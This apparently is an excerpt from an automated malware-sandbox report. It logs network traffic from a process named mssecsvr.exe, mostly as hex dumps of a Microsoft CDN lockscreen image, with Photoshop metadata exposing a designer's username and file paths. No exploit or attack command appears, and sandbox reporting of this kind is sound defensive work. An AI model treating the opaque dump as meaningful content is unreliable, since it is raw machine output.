2022-07-20 17:31:06 UTC	4800	IN	Data Raw: 3f 3e 9f 52 ad 65 8a 86 bb 5b ab 31 b1 bb 4b 69 00 75 a0 c7 39 e8 5a b8 fd bf 71 76 e3 7a 76 c0 dc e2 45 60 95 66 12 3b 41 f9 d2 71 9b 6d 0a b6 c8 91 e1 81 bb f4 e4 3b 09 27 c2 82 a2 4c c5 64 fc a7 0e 20 cd de 56 74 ec 06 ef 13 ec 47 2a 4a 9d bd ec c0 56 33 f8 1a 62 c8 2d 57 af 42 38 e1 f8 17 19 78 a5 bd 54 69 11 04 90 c2 68 c7 32 23 cf 19 ba b6 6d c3 7e e6 e5 9e 47 20 ca dd 9e e0 ca 03 31 06 84 68 45 4f 4a 7d 31 d6 9a 8b 8e ca df 2f a8 55 1b d4 aa 17 4d c4 98 1a cc d1 84 57 c4 64 63 11 ad cd 0f ee 3a 27 1e 46 87 1e f0 e3 3a dc 41 bd 51 4a 93 26 4d 09 22 80 d6 32 e9 e7 87 a3 0a e5 6d 6a 1a ff 00 17 8f 76 0b a2 7a 80 36 55 ce 28 75 19 99 9a 93 5c 0a d5 89 39 33 6f 7b 67 1e e8 28 c4 d4 7d c6 a4 98 ca a6 90 6a 3c 31 d0 73 6d 68 61 fe c4 db 40 9c 35 24 d0 99 Data Ascii: ?>Re[1Kiu9ZqvzvE`f;Aqm;'Ld VtG*JV3b-WB8xTih2#m~G 1hEOJ}1/UMWdc:'F:AQJ&M"2mjvz6U(u\93o{g(}j<1smha@5$
2022-07-20 17:31:06 UTC	4816	IN	Data Raw: 77 2c 02 ba 46 b9 53 a7 cf 11 d7 32 84 ae 92 87 e3 cf d4 57 93 c3 52 b7 6c ef 0c 15 80 51 91 24 80 6b d0 40 34 39 62 36 54 95 7f 13 38 da 01 af 2d 8b 22 54 6e 1b 59 8e d8 39 9c 85 48 d3 0e 9b 8c 79 28 aa e3 c4 ff 00 00 53 88 af bd da d4 30 23 7e e1 d2 bf 33 3e 39 57 12 92 f5 2d 95 56 57 84 4a 58 36 51 05 e4 63 12 bf 94 fc 3c ce 15 82 a9 39 39 5c 71 fb ae 5a 22 da c8 0b 11 35 cc e9 13 4a 79 e3 34 a3 23 4e ad c7 53 b8 f6 de f3 9b 8d 6c 85 24 bc 44 80 04 6d fa 40 1e 72 31 ac 6e 40 b3 b5 5c 74 1b b9 62 f5 e6 05 e1 fb 68 67 22 69 53 00 79 57 19 b5 03 b3 98 f1 f2 ef ea 5c 82 5c b5 fb 60 a8 24 ee 89 90 40 00 0c e9 18 91 89 34 72 1b 89 c8 74 b2 e8 19 77 33 86 63 b6 0a ed fb 40 32 74 d7 c3 16 ae 4c d3 50 e4 b7 25 49 06 ea 5c 54 dd 0b 5a c4 78 ce 74 cb 3c 73 65 6a Data Ascii: w,FS2WRlQ$k@49b6T8-"TnY9Hy(S0#~3>9W-VWJX6Qc<99\qZ"5Jy4#NSl$Dm@r1n@\tbhg"iSyW\\`$@4rtw3c@2tLP%I\TZxt<sej
2022-07-20 17:31:06 UTC	4824	IN	Data Raw: 27 cc e2 d8 e4 6d 42 f1 b0 a9 04 12 6b 42 01 3e 5f 1c 06 c6 ac 97 56 2b 77 89 c3 e5 a3 fe e5 50 dd 60 09 39 0c e9 a6 7f 0c b1 d4 79 83 ac 95 8c e3 fe 3f ed e6 db af b6 b2 59 b5 70 c3 3b 34 ee 69 03 f3 7d a3 28 c7 2a aa bc 1d 58 32 56 d7 fd 63 ee b5 78 5c 52 d4 79 24 0d 3e d8 22 6b 13 52 75 c5 56 68 2b 8d 54 a5 cb ee aa a2 d0 33 48 00 76 93 91 06 7c 8c 69 18 2a 9d 4e bf 2f 40 0d ef 29 62 d0 ba fb a4 a8 52 db 48 52 72 fc b4 04 7f 19 62 ac 81 de 0c f7 f7 64 7b 85 ad b0 40 6a c1 95 a3 38 11 d2 87 e3 5c 57 69 e8 1a b6 bf ae 43 a7 37 d7 8f db 32 10 60 34 83 b8 88 51 49 88 cf 33 83 57 1d 07 13 d4 1d db f7 5d 4d db 37 17 6e 50 46 51 96 e3 06 48 3a 8c 2d bb 81 5b 46 b9 03 ff 00 b8 dd ac d7 19 88 66 01 44 9d 54 4f 87 d7 5d 70 b0 5d b2 75 cf 6e e4 7a bb ae 39 2b ba Data Ascii: 'mBkB>_V+wP`9y?Yp;4i}(X2Vcx\Ry$>"kRuVh+T3Hv\|iN/@)bRHRrbd{@j8\WiC72`4QI3W]M7nPFQH:-[FfDTO]p]unz9+
2022-07-20 17:31:06 UTC	4840	IN	Data Raw: 41 32 e4 8a 8f 81 d0 d0 78 62 3c 1a 55 a0 f7 cc a9 09 68 80 4c 02 00 cf 53 19 78 cd 67 19 b4 c4 ac 8b ed 5e 40 5b b7 f8 ea 49 24 98 19 45 66 3a 0c c8 d3 08 ec 16 5f 6f 4b 8c 4f 13 70 b8 cb 3f ee 95 cb af f7 a0 38 69 99 ba 80 ff 00 ad 36 00 8b c6 09 71 97 68 69 9c c9 d6 4f c3 cb 12 f6 91 2a 40 bb 59 1c b4 6e 34 39 70 09 2c e2 a4 64 40 a7 87 d3 e1 89 e4 75 93 d7 b0 8f 2e d9 46 5b a1 9f 60 22 9b 89 81 3d 05 23 06 f5 db a9 2b 69 c1 ea fd a3 9b c4 e7 71 7d 1e 20 1b 2d f6 b0 db b7 71 51 53 5f 0f e7 88 91 a2 43 ab c5 5b 6f ea 71 c3 ee 90 d2 26 80 47 5d 2b 02 63 5e 98 3b a5 9a aa a8 d6 00 73 39 2c d7 0b 72 14 b3 6f 06 e1 15 0c 3c 7e 5f d2 98 bd 43 0a 35 33 4a c4 5d e1 3c 5c 1b 5e 46 a4 0a 28 f1 24 c7 96 3b 78 1b aa d2 47 6c dd 17 ed 41 52 be 96 e0 45 04 99 d0 e9 Data Ascii: A2xb<UhLSxg^@[I$Ef:_oKOp?8i6qhiO*@Yn49p,d@u.F[`"=#+iq} -qQS_C[oq&G]+c^;s9,ro<~_C53J]<\^F($;xGlARE
2022-07-20 17:31:06 UTC	4856	IN	Data Raw: c8 e2 1d 6a ac 67 3a 50 4f 84 fe 38 94 6d 12 f1 2d f5 7e 5a 89 dc e2 d9 ba b2 ce d9 c5 48 10 22 4c 0c e6 3e 7f 0c 6f b9 99 55 6d 98 cc f9 10 7d 0a dc 00 96 89 6d f5 8d c4 19 00 09 00 65 51 8c 96 18 dd a7 13 eb 25 f9 57 b8 f7 bf 47 8e 0d a1 32 cf 90 8d ba 81 4c b1 52 52 57 c8 dc 6b 3e 3a 0b da be b6 98 f2 2c db 0b 70 10 96 ce 45 4e 73 33 f8 e5 e5 9f 59 f4 35 e1 b2 55 ce b9 fc 46 15 f9 29 6c c3 6d 01 8d 12 8f 26 a3 41 9e 46 82 67 19 ed c9 a7 de da 8d 1f dd 5b fd b9 b5 7d b6 de b7 ba db 0b 56 c0 24 13 05 77 1e a3 38 c6 b6 50 f0 67 c7 65 75 96 91 91 73 97 bc 1f da 9d 8c 50 ab 10 49 13 06 01 a5 07 f5 c1 bc b4 35 0a ca 23 f5 36 09 b7 7f 8f 69 78 c3 7d cb 6c 2e 3a b1 04 19 a9 ac 0a fc 73 18 15 96 4e 4b 56 ae 57 43 75 ae bf 26 d2 d9 bb c5 03 b2 37 24 1d 32 cb 76 Data Ascii: jg:PO8m-~ZH"L>oUm}meQ%WG2LRRWk>:,pENs3Y5UF)lm&AFg[}V$w8PgeusPI5#6ix}l.:sNKVWCu&7$2v
2022-07-20 17:31:06 UTC	4864	IN	Data Raw: 4b 7c b9 fa 09 37 0e ee d6 bd 65 fd 36 da 0c 11 0a 24 4b 75 f9 f5 c5 6d b3 2b 55 2f af ec 65 db e2 7b 91 ba e9 74 5b b9 68 6d 0f 52 a4 05 d2 23 5f 03 18 6a fb 3c c1 b7 71 b3 63 81 c8 e7 1f 49 7d 36 2a a8 c5 41 24 a8 9a 9e a0 48 c8 83 5c 1d ae e5 af b4 d8 ff 00 f5 79 f7 7a 6d 70 5c 37 3b e4 4c eb 91 ca 22 7a 79 62 a7 3a 0a 36 ea 3a 7d ba dd b0 1c 59 2d 6c 89 2c a0 92 08 19 98 00 65 87 a8 1b 86 06 e7 0a db 82 16 e5 b2 44 18 14 15 a6 60 d6 74 fe b8 c9 5e 0d 17 1c 99 c3 da ed 5f ba a2 ed 84 0e 21 43 03 40 c7 ac 68 3a 7e 38 94 a9 6c c1 2f 1a d5 96 61 c3 08 12 e9 96 2a 04 02 60 44 d3 e3 af 4c 56 8a 91 9e fe d6 85 48 68 70 05 7d 4a 53 6c 56 b5 ee af d3 16 a0 bb db f8 15 b7 ed f6 f8 ec d7 6d cd b0 d1 de ac 33 ac cd 67 49 23 c5 6b 8a 91 57 b5 e4 d0 ef ba 43 5f 1b Data Ascii: K\|7e6$Kum+U/e{t[hmR#_j<qcI}6A$H\yzmp\7;L"zyb:6:}Y-l,eD`t^_!C@h:~8l/a`DLVHhp}JSlVm3gI#kWC_
2022-07-20 17:31:06 UTC	4880	IN	Data Raw: c9 1e d4 b5 ea 5a e9 77 05 9c 90 b0 04 29 92 26 49 6f ac 79 79 61 c2 06 e6 b0 c5 ae 5d 50 43 95 72 62 40 57 01 46 d8 14 8c e7 c7 5c 16 87 5b ed c1 03 9f e9 47 14 af dc 67 29 00 83 4a e7 27 cf 2c b1 13 62 de 9a 33 6f f1 5f 94 a2 ee f6 11 01 a6 49 a9 ed 33 e7 a6 58 ba ea 67 9d 45 7d c3 da 43 2a 2c 6e b8 a7 6b 3a b0 5d d1 9c 74 10 7e ec f5 c0 e4 e2 ea 69 c5 cb 38 1d f6 7e 08 43 bb db f9 01 ec 07 3b 5d 46 d8 ac 40 04 98 23 22 4f 8c 41 c7 51 97 91 4f d3 f7 3d 22 df e4 5b 71 0c e0 32 92 58 9c f4 3f 08 f0 ae 16 d8 62 4f c8 0f fd 87 2e e0 21 ae 35 c3 14 93 2c 29 e0 3e 73 f1 c1 69 91 5a 40 dc 2f 71 7d 4e 4b 48 04 80 1a 6a 0f 5a e5 26 98 53 04 40 ae fb 85 f9 16 8d b5 71 56 71 04 29 da 29 96 50 30 6d e4 26 e6 a5 db 9f 74 41 b8 a5 19 56 00 0a 56 49 5f ca 7a 08 e9 85 Data Ascii: Zw)&Ioyya]PCrb@WF\[Gg)J',b3o_I3XgE}C*,nk:]t~i8~C;]F@#"OAQO="[q2X?bO.!5,)>siZ@/q}NKHjZ&S@qVq))P0m&tAVVI_z

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.7	50617	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:06 UTC	316	OUT	GET /cms/api/am/imageFileData/RE4PlTB?ver=2a94 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 17:31:06 UTC	381	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4PlTB?ver=2a94 Last-Modified: Sun, 03 Jul 2022 05:02:37 GMT X-Source-Length: 1660833 X-Datacenter: northeu X-ActivityId: ae8da155-90f0-4f70-a5fd-3dec783ec969 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1660833 Cache-Control: public, max-age=84825 Expires: Thu, 21 Jul 2022 17:04:51 GMT Date: Wed, 20 Jul 2022 17:31:06 GMT Connection: close
2022-07-20 17:31:06 UTC	381	IN	Data Raw: ff d8 ff e1 21 83 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 32 33 3a 31 35 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: !ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:23:158"
2022-07-20 17:31:06 UTC	413	IN	Data Raw: 34 6b 8b 83 fc 2f fb e7 ff d2 e8 9d 4f 54 2c 65 ac 06 9a 2c 3f a5 11 36 7b 7f 47 ee a9 df ca 1e b6 cd fe b7 fc 52 86 3b ed af 32 dc 7a 4d 77 d7 6e cf 55 af b0 b7 73 9b f4 1e d7 38 ff 00 86 df 67 e8 7f e0 3d 4f e6 d6 66 3e 7e 75 8e 75 d4 d5 75 74 59 63 a1 d7 7a 6f 76 e3 cf d1 66 ff 00 d6 da ef d5 6b db fc ee 35 95 59 fc ea da 39 57 59 83 5d c5 ee c5 be e6 ed 2c 75 65 d2 eb 20 d0 db 5a 2b bb d7 6f e6 7f 37 ec 67 e8 d4 66 26 97 02 09 74 fd 1b 1e ca db 6d 53 e9 1e 34 af 70 0c 0c d9 65 8d 27 db 56 ed de df e7 3f c0 ff 00 36 b3 3e d1 87 8b 83 5e 3f 4f 6d b9 14 08 b9 8e 2e 2f 6b 0e e2 1b 16 b7 d3 73 f7 58 3f 45 ea 7d 3f 4f fd 1a a1 6f 52 ea 55 8c 6b 1b 55 97 62 bc 57 47 da 41 1b 7e d0 5d 6b 9b fc cb d8 f7 57 e9 ff 00 a4 ab f4 0f fd 1d 16 fe 97 d3 4f 93 65 7f 69 Data Ascii: 4k/OT,e,?6{GR;2zMwnUs8g=Of>~uuutYczovfk5Y9WY],ue Z+o7gf&tmS4pe'V?6>^?Om./ksX?E}?OoRUkUbWGA~]kWOei
2022-07-20 17:31:06 UTC	429	IN	Data Raw: 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 31 54 31 38 3a 35 37 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 32 54 31 Data Ascii: ata\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2016-07-11T18:57:19-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2016-07-12T1
2022-07-20 17:31:06 UTC	446	IN	Data Raw: 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 32 54 31 38 3a 30 30 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 63 6c 6f 73 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 32 54 31 38 3a 30 30 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 Data Ascii: \Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2016-07-12T18:00:31-07:00 File Lockscreen_1920x1080_Landscape.psd closed 2016-07-12T18:00:39-07:00 File C:\Users\v-lizagh
2022-07-20 17:31:06 UTC	633	IN	Data Raw: 30 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 33 43 46 30 46 38 43 31 31 33 37 46 43 39 43 33 35 38 35 39 35 44 43 30 34 32 42 46 43 45 34 42 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 35 54 31 38 3a 31 36 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 Data Ascii: 01-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_Portrait3CF0F8C1137FC9C358595DC042BFCE4B7.psb saved 2016-08-15T18:16:32-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080
2022-07-20 17:31:06 UTC	657	IN	Data Raw: 23 78 41 3b 32 30 31 36 2d 31 30 2d 30 33 54 31 35 3a 30 31 3a 34 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 30 33 54 31 38 3a 31 33 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f Data Ascii: #xA;2016-10-03T15:01:47-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2016-10-03T18:13:36-07:00 File C:\Users\v-lizagh\MS\Windo
2022-07-20 17:31:06 UTC	689	IN	Data Raw: 31 30 2d 32 34 54 31 32 3a 31 34 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 32 34 54 31 32 3a 31 39 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 50 72 65 74 74 79 50 69 63 73 5c 53 75 72 66 61 63 65 2d 50 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 37 30 35 35 37 34 39 5f 31 30 38 30 78 31 39 32 30 5f 77 69 74 68 49 4e 4b 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 32 34 54 31 32 3a 32 32 3a 31 36 2d 30 37 3a 30 30 26 23 78 39 Data Ascii: 10-24T12:14:12-07:00 File Lockscreen_1080x1920_Portrait.psd opened 2016-10-24T12:19:41-07:00 File C:\Users\v-lizagh\MS\Windows10\Surface\PrettyPics\Surface-Pen_GettyImages-137055749_1080x1920_withINK.jpg saved 2016-10-24T12:22:16-07:00&#x9
2022-07-20 17:31:06 UTC	721	IN	Data Raw: 74 6f 45 6e 74 68 75 73 69 61 73 74 73 5f 46 30 44 32 38 57 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 36 3a 30 37 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 77 61 79 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 77 61 79 2d 50 68 6f 74 6f 45 6e 74 68 75 73 69 61 73 74 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 38 31 39 30 39 39 36 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 36 3a 30 39 3a 32 34 2d 30 38 3a 30 30 26 23 78 39 Data Ascii: toEnthusiasts_F0D28W_1080x1920.jpg saved 2016-11-23T16:07:25-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Sway\Crops\Office_Sway-PhotoEnthusiasts_GettyImages-181909964_1080x1920.jpg saved 2016-11-23T16:09:24-08:00&#x9
2022-07-20 17:31:06 UTC	753	IN	Data Raw: 2d 30 32 2d 30 38 54 31 36 3a 33 38 3a 33 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 45 4f 59 5c 46 49 54 4e 45 53 53 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 45 4f 59 2d 46 49 54 4e 45 53 53 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 38 37 32 31 37 33 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 30 38 54 31 36 3a 33 38 3a 34 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 Data Ascii: -02-08T16:38:35-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\EOY\FITNESS\CHOSEN\Crops\MIT-EOY-FITNESS_GettyImages-538721739_1080x1920.jpg saved 2017-02-08T16:38:42-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portr
2022-07-20 17:31:06 UTC	1015	IN	Data Raw: 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 70 65 63 69 61 6c 4f 6c 79 6d 70 69 63 73 5c 43 48 4f 53 45 4e 5c 53 70 65 63 69 61 6c 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 37 37 37 32 31 35 32 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 36 54 30 39 3a 32 33 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 53 70 65 63 69 61 6c 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 37 37 37 32 31 35 32 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 36 54 30 39 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 Data Ascii: \v-lizagh\MS\Windows10\SpecialOlympics\CHOSEN\SpecialOlympics_GettyImages-177772152_1080x1920.psd saved 2017-02-26T09:23:25-08:00 File SpecialOlympics_GettyImages-177772152_1080x1920.psd opened 2017-02-26T09:25-08:00 File C:\Users\v-lizagh
2022-07-20 17:31:06 UTC	1091	IN	Data Raw: 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 75 73 69 6e 65 73 73 2d 50 68 69 6c 61 6e 74 68 72 6f 70 69 65 73 5c 43 48 4f 53 45 4e 5c 50 68 69 6c 61 6e 74 68 72 6f 70 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 35 32 33 37 32 36 33 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 30 34 54 31 34 3a 31 34 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 75 73 69 6e 65 73 73 2d 50 68 69 6c 61 6e 74 68 72 6f 70 69 65 73 5c 43 48 4f 53 45 4e 5c 50 68 69 6c 61 6e 74 68 72 6f 70 69 65 73 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 37 32 39 30 35 32 38 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 Data Ascii: MS\Windows10\Business-Philanthropies\CHOSEN\Philanthropies_GettyImages-652372637_1080x1920.jpg saved 2017-04-04T14:14:12-07:00 File C:\Users\v-lizagh\MS\Windows10\Business-Philanthropies\CHOSEN\Philanthropies_shutterstock_72905284_1080x1920.jpg sa
2022-07-20 17:31:06 UTC	1107	IN	Data Raw: 61 74 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 31 36 37 35 35 35 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 30 3a 34 32 3a 31 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5c 43 48 4f 53 45 4e 5c 57 69 6e 2d 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 30 35 31 38 34 35 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 30 3a 34 36 3a 31 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c Data Ascii: ate_GettyImages-511675552_1080x1920.jpg saved 2017-05-11T10:42:14-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\CreatorsUpdate\CHOSEN\Win-CreatorsUpdate_GettyImages-560518453_1080x1920.jpg saved 2017-05-11T10:46:11-07:00 File C:\Users\
